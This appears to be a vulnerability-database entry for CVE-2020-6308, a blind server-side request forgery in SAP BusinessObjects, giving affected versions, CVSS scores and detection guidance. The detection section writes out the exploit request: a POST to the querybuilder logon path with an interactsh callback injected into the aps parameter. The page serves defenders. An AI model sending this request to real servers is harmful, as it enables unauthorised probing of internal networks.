CVE-2020-6308

published 2020-10-20

CVE-2020-6308: SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as…

Priority P1 79 medium 5.3 CVSS 3.1

AV N AC L PR N UI N S U C L I N A N

ITW EXPLOIT VulnCheck KEV

SAP BusinessObjects Business Intelligence Platform (Web Services) versions - 410, 420, 430, allows an unauthenticated attacker to inject arbitrary values as CMS parameters to perform lookups on the internal network which is otherwise not accessible externally. On successful exploitation, attacker can scan internal network to determine internal infrastructure and gather information for further attacks like remote file inclusion, retrieve server files, bypass firewall and force the vulnerable server to perform malicious requests, resulting in a Server-Side Request Forgery vulnerability.

Affected

6 ranges

Vendor	Product	Version range	Fixed in
sap	businessobjects_business_intelligence_platform	—	—
sap	businessobjects_business_intelligence_platform	—	—
sap	businessobjects_business_intelligence_platform	—	—
sap_se	sap_businessobjects_business_intelligence_platform	< 410	410
sap_se	sap_businessobjects_business_intelligence_platform	< 420	420
sap_se	sap_businessobjects_business_intelligence_platform	< 430	430

Detection & IOCs extracted from sources · hover to see the quote

url POST /AdminTools/querybuilder/logon?framework=

path /AdminTools/querybuilder/logon

command aps={{interactsh-url}}&usr=anything&pwd=anything&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp

path /AdminTools/querybuilder/logonform.jsp

• → Exploit targets the `aps` POST parameter in the querybuilder logon endpoint; inject an out-of-band callback URL (e.g., interactsh) as the CMS parameter value to confirm blind SSRF via DNS interaction.
• → Successful exploitation results in a DNS callback (OOB interaction); monitor for outbound DNS queries originating from the SAP BO server to attacker-controlled domains.
• → After exploitation the server redirects to logonform.jsp; detect exploit attempts by correlating POST requests to `/AdminTools/querybuilder/logon` with a `Location` header pointing back to `logonform.jsp`.
• → The attack is unauthenticated and uses Content-Type `application/x-www-form-urlencoded`; alert on unauthenticated POST requests to the querybuilder logon path with the `aps` parameter set to an external/non-SAP host.

• · Vulnerability affects SAP BusinessObjects BI Platform Web Services versions 410, 420, and 430 only; scope detection rules to these specific versions. ↗
• · This is a blind SSRF; no direct response body data is returned to the attacker. Detection must rely on out-of-band (DNS/HTTP) interaction monitoring rather than response content inspection. ↗

CVSS provenance

nvd v3.1 5.3 MEDIUM CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

nvd v3.0 5.3 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

nvd v2.0 5.0 MEDIUM AV:N/AC:L/Au:N/C:P/I:N/A:N

vulncheck 5.3 MEDIUM

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.

CWE-918